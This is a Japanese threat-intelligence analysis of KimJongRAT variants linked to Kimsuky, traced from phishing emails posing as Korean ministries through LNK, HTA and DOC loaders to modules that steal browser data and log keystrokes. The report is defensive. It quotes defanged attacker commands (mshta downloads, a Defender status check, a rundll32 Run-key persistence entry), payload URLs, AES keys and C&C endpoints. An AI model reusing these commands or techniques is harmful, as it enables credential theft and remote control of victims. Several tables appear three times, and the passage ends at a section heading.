今日表示しない

トップへ戻る

トップへ戻る

KimJongRAT亜種のサムネイル
KimJongRAT亜種のサムネイル

脅威インテリジェンス

脅威インテリジェンス

脅威インテリジェンス

KimsukyKimJongRAT

KimsukyKimJongRAT

KimsukyKimJongRAT

エンキホワイトハット

エンキホワイトハット

コンテンツ

コンテンツ

コンテンツ

概要

  • 2010年代からKimJongRATマルウェアの変種が継続的に発見されている。

  • フィッシングメール経由で配布されたマルウェアが実行されると、システムやブラウザの情報など、被害者の機密情報がモジュール型マルウェアによって流出する。

  • Chromium系ブラウザのマスターキーを抽出し、ブラウザの機密情報の復号に利用する。

  • 攻撃者のGitHubおよびドライブのインフラを通じて、マルウェアの変種を迅速に追跡することができた。

  • 同じ攻撃者によって展開された、別のタイプの攻撃メールおよび関連インフラを発見した。

1. 概要

2010年代から使用されているKimJongRATマルウェアが、現在も持続的に発見されています。KimJongRATは2013年に初めて命名されて以来、北朝鮮を背景に持つ攻撃グループであるKimsukyとの関連性が多数報告されているマルウェアです。

最近、攻撃者はPEファイルとPowerShellという2種類のマルウェアを流布する攻撃において、情報窃取のロジックのみが存在し、C&C通信ロジックは除外されたKimJongRATの変種を使用しました。Enki Whitehat脅威研究チームはこの脅威を持続的に追跡し、新しいインフラと同一の攻撃者が展開した別の脅威を特定しました。

追跡の過程で複数の電子メールを確保することができ、攻撃者はソーシャルエンジニアリング戦略を利用してマルウェアの実行を誘導しました。攻撃者はGitHubを悪用してマルウェアを流布し、事前に定義された条件に従ってPE実行ファイルまたはPowerShellスクリプト形式のペイロードを選択的にダウンロードして実行する戦略が確認されました。

공격자 활동 개요도

caption - 攻撃者の活動概要図

2. 背景

2.1. KimJongRAT

KimJongRATは、2013年のmalware.luのレポートで初めて命名され、各種ブラウザやシステム情報を収集してC&Cサーバーに転送する。レポートで北朝鮮を背景とする攻撃グループとの関連が疑われた内容は以下の通りである。

  1. pdfファイルに記録された作成者名が金正恩の兄弟の名前である。

  2. リソース領域の言語情報が韓国語である。

  3. Gmailのログイン時の秘密の質問が韓国語で作成されている。

2.2. KimJongRATの変種とKimsukyの関連性

2019年には、北朝鮮に関連するおとり文書を含むBabySharkキャンペーンとKimJongRATの関連性が特定された。Unit42のレポートによると、BabySharkマルウェアが使用するファイルパスがKimJongRATと同一であり、攻撃者がBabySharkマルウェアをテストする際に新規にコンパイルされたKimJongRATが含まれていた。BabySharkは、その後、Kimsukyとの関連性が多数報告されたキャンペーンとして広く知られている。

Unit42の最近のレポートでは、PEファイルとPowerShellマルウェアを実行するKimJongRATの変種が公開された。PEファイルを実行するKimJongRATの変種で確認されたPDBパスは、2019年のESTSecurityのレポートで言及されたOperation Giant BabyキャンペーンのマルウェアのPDBパス(Covaware)と関連性が存在する。

Operation Giant Babyキャンペーンのマルウェアは、エクスポート関数やdll名など、過去のKimsukyの攻撃事例との共通点が多数言及されている2018年のESTSecurityのレポートのOperation Baby Coinキャンペーンシリーズである。ESTSecurityは、同キャンペーンを前述のBabySharkキャンペーンと同じタイプに分類している。

3. KimJongRAT 変種攻撃の分析

악성코드 유포 단계 개요도

caption - マルウェア配布段階の概要図

3.1. 初期進入およびマルウェアの配布

3.1.1 Eメール & LNK

確認されたフィッシングメールは、国内の公共機関である女性家族部および国税庁を詐称しており、迫る認証期限を強調して被害者がリンクをクリックするように誘導する。両方のメールとも、オープンソースのSMTPライブラリであるPHPMailerを利用して送信された。

여성가족부 사칭 피싱 이메일

caption - 女性家族部を詐称したフィッシングメール

국세청 사칭 피싱 이메일

caption - 国税庁を詐称したフィッシングメール

Eメールファイルの詳細情報は以下の表の通りである。

| Eメール件名 | 発信Eメールアドレス | 発信IP | PHPMailerバージョン |
| --- | --- | --- | --- |
| [女性家族部]+性犯罪者+個人情報+告知+通知 | webmaster@nate.nmailhub[.]com | 61.97.243[.]9 | 6.9.1 |
| [国税庁]+会員様に+届いた+告知書を+確認してください。 | ebmaster@nate.pklzd[.]com | 103.249.28[.]34 | 6.9.1

| Eメール件名 | 発信Eメールアドレス | 発信IP | PHPMailerバージョン |
| --- | --- | --- | --- |
| [女性家族部]+性犯罪者+個人情報+告知+通知 | webmaster@nate.nmailhub[.]com | 61.97.243[.]9 | 6.9.1 |
| [国税庁]+会員様に+届いた+告知書を+確認してください。 | ebmaster@nate.pklzd[.]com | 103.249.28[.]34 | 6.9.1

| Eメール件名 | 発信Eメールアドレス | 発信IP | PHPMailerバージョン |
| --- | --- | --- | --- |
| [女性家族部]+性犯罪者+個人情報+告知+通知 | webmaster@nate.nmailhub[.]com | 61.97.243[.]9 | 6.9.1 |
| [国税庁]+会員様に+届いた+告知書を+確認してください。 | ebmaster@nate.pklzd[.]com | 103.249.28[.]34 | 6.9.1

caption - Eメールファイルの詳細情報

「確認しに行く」ボタンを押すとファイルをダウンロードするが、まずC&Cサーバーに接続し、ruパラメータの値として渡されたGitHubアドレスにリダイレクトされてファイルをダウンロードする。この時、mパラメータの値として被害者のEメールアドレスが渡される。Eメールファイルから確認したURLは以下の通りである。

  • https://natezlx.myvnc[.]com/docs/?ru=https://github.com/microstrategy743/dev/releases/download/v1.0/sexoffender.zip&m=[base64でエンコードされた被害者のEメール]

  • https://natezlx.myvnc[.]com/docs/?ru=https://github.com/microstrategy743/dev/releases/download/v1.0/tax_bill.zip&m=[base64でエンコードされた被害者のEメール]

マルウェアの配布に使用されたGitHubのアカウント情報は以下の表の通りである。

| 情報 | 説明 |
| --- | --- |
| microstrategy743 | GitHubアカウント名 |
| madeng@svchubsec[.]com | GitHubアカウントに登録されたEメール

| 情報 | 説明 |
| --- | --- |
| microstrategy743 | GitHubアカウント名 |
| madeng@svchubsec[.]com | GitHubアカウントに登録されたEメール

| 情報 | 説明 |
| --- | --- |
| microstrategy743 | GitHubアカウント名 |
| madeng@svchubsec[.]com | GitHubアカウントに登録されたEメール

caption - GitHubアカウント情報

攻撃者は、ログが確認できないReleasesにマルウェアをアップロードした。Repositoryにマルウェアをアップロードするとコミットログから痕跡を確認できるが、Releasesは痕跡を確認できない。

microstrategy743 Releases

caption - microstrategy743 Releases

ダウンロードしたファイルは圧縮ファイルで、おとり文書である「性犯罪者個人情報告知.pdf」ファイルとマルウェアである「暗号.txt.lnk」ファイルが圧縮されている。この時、おとり文書が「国税告知書.pdf」ファイルである圧縮ファイルも存在する。

압축된 파일 목록

caption - 圧縮されたファイル一覧

以前のバージョンはLNKファイルをPDFに偽装(例:国際告知書.pdf.lnk)していたが、現在はおとり文書にパスワードを設定し、「暗号.txt.lnk」ファイルを実行するように誘導する。

미끼 문서 실행 시 나타나는 암호 입력 창

caption - おとり文書の実行時に表示される暗号入力ウィンドウ

「暗号.txt.lnk」ファイルを実行すると実行されるコマンドは、base64でエンコードされている。

LECmd 분석 결과

caption - LECmdの分析結果

コマンドをデコードすると、mshtaを利用してペイロードを実行することがわかる。この時、攻撃者は韓国のURL短縮サービスを利用した。

  • デコード結果:mshta https://link24[.]kr/HSXrWzV

최종적으로 도달하는 URL

caption - 最終的に到達するURL

2025年9月には、DOC文書ファイルが攻撃に使用された。文書ファイルを実行するとマクロの許可ボタンを押すように誘導するが、この時、マクロを許可するとShellExecuteマクロによって文書内部に含まれるVBScriptが実行される。

워드 문서 내용

caption - ワード文書の内容

VBScriptは、すべての文字をASCIIコードに変換し、10進数と16進数の演算で置換する方式の難読化技術が適用されている。難読化解除スクリプトは「付録 C. Scripts - HTA Deobfuscation」として添付した。

난독화 예시

caption - 難読化の例

難読化されたVBScriptは、base64でエンコードされたPowerShellスクリプトをpowershell -eオプションで実行する。分析当時、”buly[.]kr”のURL短縮サービスが停止していたため、ダウンロードが行われなかった。しかし、攻撃に使用されたファイル名とアップロード時期を考慮すると、GitHub Releasesの「doc.hta」ファイルをダウンロードするものと思われる。base64でデコードした後に実行されるコマンドは以下の通りである。

  • mshta https://buly[.]kr/EooX5dX

DOCファイルの最終保存日は9月2日で、最後に保存した人は”wang”と記録されている。また、コードページが韓国語を表す”949”として記録されている。

caption - DOC文書情報

3.1.2 HTAファイル

ダウンロードした「pw.hta」、「doc.hta」、「kyc.hta」ファイルのデータは、先ほどのVBScript難読化技術と同様の方式で難読化されている。分析の結果、すべてのHTAファイルは上位のおとり文書は異なるが、行為はすべて同一である。

「pw.hta」ファイルが実行されると、Googleドライブからおとり文書のパスワードを記録した「password.txt」をダウンロードし、”%temp%”フォルダに保存して実行する。Googleドライブ文書の所有者はnaver.accounnt.noreply@gmail[.]comで、今回の攻撃に使用されたすべてのGoogleドライブ文書は当該アカウントの所有である。

password.txtのダウンロードURLとおとり文書のパスワードは以下の通りである。

  • URL: https://drive.google[.]com/uc?export=download&id=1kFyBMQdmMvhiu3j9-rTjgV2nVeYGr_fZ

  • パスワード: "kfgxl;Y859$#KG4fkdl^&"

文書閲覧時にパスワードを入力すると元の文書を確認でき、攻撃者は性犯罪者告知情報書、国税告知書を含む様々な情報をおとり文書に利用して攻撃に活用した。

| マルウェア形式 | おとり文書名 |
| --- | --- |
| LNK | 性犯罪者個人情報告知.pdf-n国税告知書.pdf-nKYC_Form.pdf (KYC_Instructions.docx)-ntax_form.pdf (tax_form.docx) |
| DOC | KYC_Form.docx

| マルウェア形式 | おとり文書名 |
| --- | --- |
| LNK | 性犯罪者個人情報告知.pdf-n国税告知書.pdf-nKYC_Form.pdf (KYC_Instructions.docx)-ntax_form.pdf (tax_form.docx) |
| DOC | KYC_Form.docx

| マルウェア形式 | おとり文書名 |
| --- | --- |
| LNK | 性犯罪者個人情報告知.pdf-n国税告知書.pdf-nKYC_Form.pdf (KYC_Instructions.docx)-ntax_form.pdf (tax_form.docx) |
| DOC | KYC_Form.docx

caption - マルウェア及びおとり文書情報

「password.txt」ファイルの実行後、「cmd /c sc query WinDefend」コマンドを実行するが、実行結果から「STOPPED」文字列を検索してWindows Defenderサービスの現在の状態を確認する。その後、サービス状態に応じて「v3.log」または「pipe.log」ファイルのダウンロードおよびAES復号化ロジックに分岐する。

「v3.log」は「v3.hta」、「pipe.log」は「pipe.zip」として復号化され、各ファイルの詳細情報は以下の表の通りである。

| ファイル名 | Windows Defender 状態 | マルウェアタイプ | ダウンロードURL |
| --- | --- | --- | --- |
| v3.log | 停止 | PE | https://drive.google[.]com/uc?export=download&id=12V4yQfKNkeA1W_FIkCpirhSO3dnA52Ni |
| pipe.log | 実行 | PowerShell | https://drive.google[.]com/uc?export=download&id=1Mx-A2CPcotb_DDcKmIs9d3DCSjbLwLhM |
| ファイル名 | Windows Defender 状態 | マルウェアタイプ | ダウンロードURL |
| --- | --- | --- | --- |
| v3.log | 停止 | PE | https://drive.google[.]com/uc?export=download&id=12V4yQfKNkeA1W_FIkCpirhSO3dnA52Ni |
| pipe.log | 実行 | PowerShell | https://drive.google[.]com/uc?export=download&id=1Mx-A2CPcotb_DDcKmIs9d3DCSjbLwLhM |
| ファイル名 | Windows Defender 状態 | マルウェアタイプ | ダウンロードURL |
| --- | --- | --- | --- |
| v3.log | 停止 | PE | https://drive.google[.]com/uc?export=download&id=12V4yQfKNkeA1W_FIkCpirhSO3dnA52Ni |
| pipe.log | 実行 | PowerShell | https://drive.google[.]com/uc?export=download&id=1Mx-A2CPcotb_DDcKmIs9d3DCSjbLwLhM |

caption - ダウンロードファイルの詳細情報

復号化に使用されるAES KeyとIVは以下の通りである。

  • AES Key: ftrgmjekglgawkxjynqrwxjvjsydxgjc

  • AES IV: rhmrpyihmziwkvln

3.2. PEタイプ

PE 파일 유형 실행 개요도

caption - PEファイルタイプの実行概要図

「v3.hta」ファイルは、自分自身に含まれる「bPgkTBt0」、「TvqQAAMAAA」から始まる文字列を探索し、それぞれbase64でデコードした後に「%localappdata%\user.txt」、「%localappdata%\sys.dll」ファイルとして保存する。その後、「sys.dll」からバージョンに応じて異なる名前のExport関数をrundll32で呼び出す。

Base64 인코딩된 데이터

caption - base64でエンコードされたデータ

3.2.1. sys.dll

攻撃者は主にThemida、UPX、enigmaなどの多数の商用パッカーや難読化ツールを「sys.dll」に適用して配布していたが、元のバイナリを攻撃に使用した履歴も確認された。コンパイル日付が8月7日で、パッキングが適用されていないバージョンの「sys.dll」の分析内容を扱う。PEファイル情報は以下の通りである。

sys.dll PE 정보

caption - sys.dll PE 情報

「sys.dll」の実行後、アンチVMロジックが実行され、以下の条件のいずれかに該当する場合は自己削除し、プロセスを終了する。

  • 「VBoxMiniRdrDN」デバイスが存在する場合

  • レジストリキー「HKLM\SOFTWARE\VMware, Inc.\VMware Tools」が存在する場合

  • レジストリキー「HKLM\SYSTEM\HardwareConfig\Current\SystemManufacturer」の値が「Microsoft Corporation」である場合

  • レジストリキー「HKLM\SYSTEM\HardwareConfig\Current\BIOSVendor」の値が「Microsoft Corporation」である場合

  • レジストリキー「HKLM\SYSTEM\HardwareConfig\Current\SystemFamily」の値が「Virtual Machine」である場合

  • レジストリキー「HKLM\SYSTEM\HardwareConfig\Current\SystemProductName」の値が「Virtual Machine」である場合

重複実行防止のためにミューテックスを作成する。作成するミューテックス名は以下の通りである。

  • gjurkn

뮤텍스 생성 루틴

caption - ミューテックス作成ルーチン

「%localappdata%\notepad.log」ファイルが存在しない場合、user.txtファイルをRC4復号化する。すべてのRC4復号化ルーチンは、暗号化されたファイルの先頭16バイトをキーとして使用し、残りのデータを復号化する。RC4復号化スクリプトは「付録 C. Scripts - RC4 Decryption」として添付した。

user.txt 복호화 루틴

caption - user.txt復号化ルーチン

復号化された「user.txt」には、追加モジュールをダウンロードするための3つのGoogleドライブURLが存在する。

| URL | ファイル名 |
| --- | --- |
| https://drive.google[.]com/uc?export=download&id=1dWsR1EkV_oxaIrJhXiAmmzvJY8SDgNnu | main64.log |
| https://drive.google[.]com/ucexport=download&id=1uhHhgt4EMMhWZr9b94dxll0aphOg7PYi | net64.log |
| https://drive.google[.]com/uc?export=download&id=1_Z9I0D8M31-q7BKp_hs2TuY-kvlQH9D_ | app64.log |
| URL | ファイル名 |
| --- | --- |
| https://drive.google[.]com/uc?export=download&id=1dWsR1EkV_oxaIrJhXiAmmzvJY8SDgNnu | main64.log |
| https://drive.google[.]com/ucexport=download&id=1uhHhgt4EMMhWZr9b94dxll0aphOg7PYi | net64.log |
| https://drive.google[.]com/uc?export=download&id=1_Z9I0D8M31-q7BKp_hs2TuY-kvlQH9D_ | app64.log |
| URL | ファイル名 |
| --- | --- |
| https://drive.google[.]com/uc?export=download&id=1dWsR1EkV_oxaIrJhXiAmmzvJY8SDgNnu | main64.log |
| https://drive.google[.]com/ucexport=download&id=1uhHhgt4EMMhWZr9b94dxll0aphOg7PYi | net64.log |
| https://drive.google[.]com/uc?export=download&id=1_Z9I0D8M31-q7BKp_hs2TuY-kvlQH9D_ | app64.log |

caption - user.txt URL情報

その後、「app64.log」、「net64.log」の順に各ファイルをダウンロードした後、それぞれchrome.exeおよび自プロセスにインジェクションして実行する。「main64.log」ファイルは「net64.log」の実行結果ファイルが作成された後にダウンロードし、自プロセスにインジェクションして実行する。

3.2.2. app64.log

「app64.log」ファイルは最初にダウンロードされるファイルで、Chrome App-Bound Encryption(ABE)で使用されるマスターキー抽出ツールである。「sys.dll」によってダウンロードされ、RC4で復号化された後、Integrity LevelがLowまたはUntrustedのchrome.exeプロセスにインジェクションされて実行される。

app64.log 파일 다운로드 및 인젝션 루틴

caption - app64.log のダウンロードおよびインジェクションルーチン

復号化された「app64.log」はDLLファイルであり、ビルド時に含まれるデバッグデータの一つであるPDBファイルのパスが残っている。確認されたPDBファイルのパスは以下の通りである。

  • E:\Test\AppBound\Bin\reflective_dll.pdb

복호화된 app64.log 파일 정보

caption - 復号化された app64.log ファイル情報

攻撃者は、GitHubで公開されたツールをベースにモジュールを作成した。このツールはChromiumブラウザのCookie、パスワード、決済情報などの機密情報を抽出する目的で作成されており、セキュリティソフトウェアの検出を回避するためにReflective DLL Injection技術を利用する。Reflective DLL Injectionは、現在実行中のプロセスのメモリにDLLを新しくマッピングし、Import Tableを再構築した後にマッピングされたDLLを実行する手法である。

ChromElevator (브라우저 민감 정보 복호화 도구)

caption - ChromElevator (ブラウザ機密情報復号化ツール)

インジェクションの後に最も最初に実行されるReflectiveLoader関数は、kernel32、ntdllのベースおよび必要なAPIのアドレスを独自のRORハッシュ値と比較しながら検索する。確保したAPIアドレスを利用して新しく割り当てたメモリにDLLを直接ロードした後、DllMain関数を呼び出す。

DLL 베이스 탐색 로직 - 좌) app64.log, 우) ChromElevator

caption - DLLベース検索ロジック - 左) app64.log, 右) ChromElevator

その後、各ブラウザに該当するLocal Stateファイルから暗号化されたマスターキーを抽出する。Chromium系ブラウザは、各種機密情報の暗号化に使用されるマスターキーをLocal StateファイルにWindows DPAPI暗号化およびbase64でエンコードして保存する。マルウェアはブラウザのローカルCOMサーバーの復号化メソッドを利用してマスターキーを復元する。

caption - COMクライアントセッション設定ロジック - 上) app64.log, 下) ChromElevator

復元されたマスターキーは、ブラウザに応じて「%temp%\cc_appkey」または「%temp%\ee_appkey」ファイルとして保存される。公開されているツールはマスターキーを利用した機密情報の復号化まで進行するが、攻撃者はマスターキー復元の部分のみを活用してモジュールを作成した。

3.2.3. net64.log

「net64.log」ファイルはRC4で復号化されメモリ内で実行される。「net64.log」はKimJongRATのインフォスティーラーコードを変形して作成されており、システムからさまざまな機密データを収集する機能を持つ。

net64.log 다운로드 및 실행 루틴

caption - net64.log のダウンロードおよび実行ルーチン

復号化された「net64.log」はDLLファイルであり、UPXでパッキングされている。

caption - 復号化された net64.log ファイル情報

APIの呼び出し方式は、難読化されたAPI名を復元した後、GetProcAddressの戻り値をグローバル変数に保存する。その後、マルウェアはグローバル変数に保存されたアドレスを呼び出す。

API 이름 난독화 해제 및 로드 루틴

caption - API名難読化解除およびロードルーチン

API名の難読化は単一換字式暗号方式で実装されており、すべての文字列が同じ置換テーブルを共有する。文字列置換に使用したスクリプトは「付録 C. Scripts - String Deobfucation」として添付した。

システム情報の収集

システム情報の収集時には、「HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion」のCurrentVersion値からWindowsのバージョンを照会し、バージョンに対応する適切なレジストリにアクセスする。この時、「[system]」を識別子として使用し、各バージョンに応じてアクセスするレジストリパスは以下の表の通りである。

| レジストリ値 | Windows 8.1 以上 | Windows 8.1 以前 |
| --- | --- | --- |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentMajorVersionNumber | O | X |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentMinorVersionNumber | O | X |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentBuildNumber | O | O |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR | O | X |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName | O | O |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CSDVersion | X | O

| レジストリ値 | Windows 8.1 以上 | Windows 8.1 以前 |
| --- | --- | --- |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentMajorVersionNumber | O | X |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentMinorVersionNumber | O | X |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentBuildNumber | O | O |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR | O | X |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName | O | O |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CSDVersion | X | O

| レジストリ値 | Windows 8.1 以上 | Windows 8.1 以前 |
| --- | --- | --- |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentMajorVersionNumber | O | X |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentMinorVersionNumber | O | X |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentBuildNumber | O | O |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR | O | X |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName | O | O |
| HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CSDVersion | X | O

caption - システム情報の収集時にアクセスするレジストリパス

さらに、GetVersionExA、GetSystemInfo、GetSystemMetrics APIと「HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions\ProductType」レジストリ値を利用してWindowsのバージョンを確認する。その後、GetCPUInfo関数でcpuidコマンドからCPU名まで収集すると、システム情報の収集が完了する。

시스템 정보 수집 루틴

caption - システム情報収集ルーチン

プロセス情報の収集

全てのプロセスの一覧を照会した後、systemアカウント所有のプロセスを除く全体のプロセス一覧および所有ユーザー情報を収集する。この時、「[process]」を識別子として使用する。

프로세스 정보 수집 루틴

caption - プロセス情報収集ルーチン

インストール済みソフトウェア情報の収集

共有およびユーザーのスタートメニュー内「%Programs%」ディレクトリを探索し、サブディレクトリ名とインクリメンタルな拡張子がlnkであるファイル名を保存する。この時、Accessories、Games、Administrative Tools、Startupディレクトリは除外され、「[programs]」を識別子として使用する。

설치된 소프트웨어 정보 수집 루틴

caption - インストール済みソフトウェア情報収集ルーチン

メールアカウント情報の収集

メールの種類別に対応するレジストリ値を照会して、アカウントおよびプロファイル情報を収集し、さらにFTPクライアントであるFileZillaのデータまで収集する。「[mails]」を識別子として使用し、アカウントおよびプロファイル情報の収集対象は以下の通りである。

  • Outlook

  • IncrediMail

  • Thunderbird

  • GroupMail

  • FileZilla

메일 계정 정보 수집 루틴

caption - メールアカウント情報収集ルーチン

ブラウザ情報の収集

ブラウザの種類別に機密情報ファイルを収集し、各Webサービス別に保存されているログイン情報を復号化および保存する。その後、ハードコードされたSQLクエリを利用して収集したファイルからログイン情報を抽出する。ログイン情報の復号化に、新しく追加された”app64.log”が抽出したマスターキーではなく、”net64.log”内部でCryptUnprotectData APIを利用して復元したマスターキーを使用する。この時、「[web]」を識別子として使用し、保存するログインデータは以下の通りである。

  • ログインURL

  • ID

  • 復号化された Password

  • ブラウザの種類

  • ログイン情報の保存時期

브라우저 정보 수집 루틴

caption - ブラウザ情報収集ルーチン

ブラウザ別のCookie情報も同時に収集される。Chrome、Edge、Whale、FirefoxのCookieデータを抽出して全体の件数と共に保存する。Cookie情報の抽出時にもハードコードされたSQLクエリを利用し、「[Cookies]」を識別子として使用する。

追加ファイルの収集および圧縮

”nsv”の文字列を接頭辞とした一時ディレクトリを作成し、以下のデータをすべて入れて「micro.log.zip」として圧縮する。

  • micro.log (net64.logがこの時点までに収集したすべての情報)

  • Chromiumベースのブラウザの機密情報ファイルオリジナル

  • Exodus/Telegram/Discord の機密情報ファイルオリジナル

  • GPKI および NPKI(公認認証書関連)ファイル

  • ext.log (すべてのブラウザの拡張機能ID一覧)

추가 파일 수집 루틴

caption - 追加ファイル収集ルーチン

3.2.4. main64.log

「sys.dll」は「net64.log」によって「micro.log.zip」ファイルが生成されるまで「Sleep(1000)」を繰り返して待機する。「micro.log.zip」ファイルが精製されると、Googleドライブから「main64.log」ファイルをダウンロードした後にRC4で復号化し、メモリで実行する。

main64.log 다운로드 및 실행 루틴

caption - main64.logダウンロードおよび実行ルーチン

「main64.log」はパッキングされておらず、「sys.dll」ファイルとコンパイルのメタデータが同一である。これは両ファイルが同じ開発環境でビルドされたことを示唆している。

복호화된 main64.log PE 정보

caption - 復号化されたmain64.log PE情報

メモリで実行されると、まず基本設定および永続性の確立を行う。GetVolumeInformationA関数でボリュームシリアル番号を照会して被害者の識別子として使用する。この時、照会に失敗した場合は「[コンピュータ名]_[ユーザー名]」形式の文字列をbase64でエンコードして識別子として使用する。通信するC&Cサーバーのアドレスは以下の通りである。

  • kzloly.nmailhub[.]com

その後、自動実行レジストリを登録して再起動後も「sys.dll」ファイルが実行されるようにする。

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NetService: "rundll32 %localappdata%\sys.dll,s"

자동 실행 레지스트리 등록 루틴

caption - 自動実行レジストリ登録ルーチン

「main64.log」は4つのスレッドを作成し、以下の行為を実施する。

  1. 追加情報の収集およびC&Cサーバー通信

  2. クリップボードデータの収集

  3. キーロギング

  4. 3で収集されたログをnetkeyファイルに追加

C&Cサーバー通信

C&Cサーバー通信のスレッドは10分周期で、収集データのアップロード、ファイルのアップロードとダウンロード、リモートコマンドの実行、マルウェアのアップデートを実行する。

ファイルをアップロードする際、0xFEでファイル全体をXORして「%temp%\[ファイル名]_」の形で保存し、C&Cサーバーへと転送する。この際、あらかじめ設定した被害者識別子をid値として、転送するファイルをfile0バイナリファイルとして含めることで、C&CサーバーのルートディレクトリにMultipart POSTリクエストを送信する。例外的に”netkey”ファイルは転送ファイルをvalデータとして含めて通常のPOSTリクエストを送信する。

XOR 암호화 루틴

caption - XOR 暗号化ルーチン

アップロードされたファイルは、C&Cサーバーに「/[被害者識別子]/[ファイル名]」として保存され、該当するパスに対する直接的なリクエストおよびレスポンスの確認を通じてアップロードが成功したかを判断する。アップロードされるファイルと情報は以下の表の通りである。

| ファイル名 | 情報 |
| --- | --- |
| micro.log.zip | net64.logが収集したすべての情報 |
| history.log | main64.logが収集したシステム、OS、コンピュータ情報 |
| netlist.log | main64.logが収集した拡張機能およびファイルシステム情報 |
| netkey | キーログおよびクリップボードデータ

| ファイル名 | 情報 |
| --- | --- |
| micro.log.zip | net64.logが収集したすべての情報 |
| history.log | main64.logが収集したシステム、OS、コンピュータ情報 |
| netlist.log | main64.logが収集した拡張機能およびファイルシステム情報 |
| netkey | キーログおよびクリップボードデータ

| ファイル名 | 情報 |
| --- | --- |
| micro.log.zip | net64.logが収集したすべての情報 |
| history.log | main64.logが収集したシステム、OS、コンピュータ情報 |
| netlist.log | main64.logが収集した拡張機能およびファイルシステム情報 |
| netkey | キーログおよびクリップボードデータ

caption - アップロードファイル情報

「history.log」ファイルは、「main64.log」モジュールが以下のシステム情報を収集して作成する。

  • IP

  • コンピュータ名

  • ユーザー名

  • ドライブ情報

  • OS情報

  • インストールされているソフトウェアの一覧

  • CPU情報

「netlist.log」ファイルには、ハードコードされたcmdコマンドによって収集された拡張機能ID一覧とファイルシステム情報が保存される。コマンドは各ドライブを走査しながら特定拡張子またはキーワードを持つファイルの一覧を作成し、Cドライブの場合はextensionsパスの全サブディレクトリの一覧まで抽出する。

リスティング対象となる拡張子とキーワードは以下の通りである。

  • 拡張子 - hwp, pdf, doc, docx, xls, xlsx, zip, rar, egg, txt, jpg, png, jpeg, alz, ldb, log

  • キーワード - wallet, UTC--*

C&Cサーバーとの通信時には、特定のエンドポイントごとにリクエストを送信し、レスポンスに対応して様々な動作を実行する。「[C&Cドメイン]/[被害者ID]/[エンドポイント]」へリクエストが試行され、すべてのレスポンスデータは先頭の16バイトをキーとして用いてRC4復号化する。データ受信が正常に行われるとdelete文字列を送信するが、これは送信されたデータをC&Cサーバーから削除する過程であると推測される。リクエスト送信先のエンドポイント情報は以下の表の通りである。

| エンドポイント | レスポンス | 特徴 |
| --- | --- | --- |
| out | 被害者PCからC&Cサーバーにアップロードするファイルのパス |  |
| in | 被害者PCに保存するファイルデータとそのファイルが保存されるローカルパス |  "ABCDEFGHIJKLMNOP"を保存パスとデータの間の区切り文字列として使用 |
| cmd | 被害者PCで実行されるコマンド | 新しいcmdプロセスに引数として渡す |
| cok | netファイルのアップデートデータURL |  |
| dir | ディレクトリリスティングのターゲットパス | 結果を"%localappdata%\list.log"に保存してC&Cサーバーに転送 |
| tmp64 | notpad.log (main64.log) ファイルのアップデートデータURL

| エンドポイント | レスポンス | 特徴 |
| --- | --- | --- |
| out | 被害者PCからC&Cサーバーにアップロードするファイルのパス |  |
| in | 被害者PCに保存するファイルデータとそのファイルが保存されるローカルパス |  "ABCDEFGHIJKLMNOP"を保存パスとデータの間の区切り文字列として使用 |
| cmd | 被害者PCで実行されるコマンド | 新しいcmdプロセスに引数として渡す |
| cok | netファイルのアップデートデータURL |  |
| dir | ディレクトリリスティングのターゲットパス | 結果を"%localappdata%\list.log"に保存してC&Cサーバーに転送 |
| tmp64 | notpad.log (main64.log) ファイルのアップデートデータURL

| エンドポイント | レスポンス | 特徴 |
| --- | --- | --- |
| out | 被害者PCからC&Cサーバーにアップロードするファイルのパス |  |
| in | 被害者PCに保存するファイルデータとそのファイルが保存されるローカルパス |  "ABCDEFGHIJKLMNOP"を保存パスとデータの間の区切り文字列として使用 |
| cmd | 被害者PCで実行されるコマンド | 新しいcmdプロセスに引数として渡す |
| cok | netファイルのアップデートデータURL |  |
| dir | ディレクトリリスティングのターゲットパス | 結果を"%localappdata%\list.log"に保存してC&Cサーバーに転送 |
| tmp64 | notpad.log (main64.log) ファイルのアップデートデータURL

caption - エンドポイント情報

クリップボードデータの収集

クリップボードデータ収集スレは0.05秒ごとにループし、現在のクリップボードの最新データを収集する。確保したデータ独自のRORハッシュ値が以前のデータのハッシュ値と異なる場合、「%localappdata%\netkey」ファイルに追記する。この時、「netkey」ファイルの更新日時が変わるため、「netkey」ファイルの作成、アクセス、更新日時をrundll32の時間に変更する。

ハッシュ計算アルゴリズムは以下の通りである。

caption - クリップボードデータのハッシュ計算ルーチン

キーロギング

キーロギングスレッドは0.001秒ごとにループし、入力されたキーはもちろん、表示されたウィンドウのタイトルが以前と異なる場合はウィンドウタイトルまでグローバル変数に保存する。

caption - キーロギングループ

キーログ「netkey」ファイルに追加

10秒ごとにキーログが保存されたグローバル変数バッファを「%localappdata%\netkey」ファイルに追記する。データ追加後にグローバル変数を初期化し、「netkey」ファイルの作成、アクセス、更新日時をrundll32時間に変更する。

caption - キーログ保存ルーチン

3.3. PowerShellスクリプトのタイプ

파워쉘 스크립트 유형 실행 개요도

caption - PowerShellスクリプトタイプの実行概要図

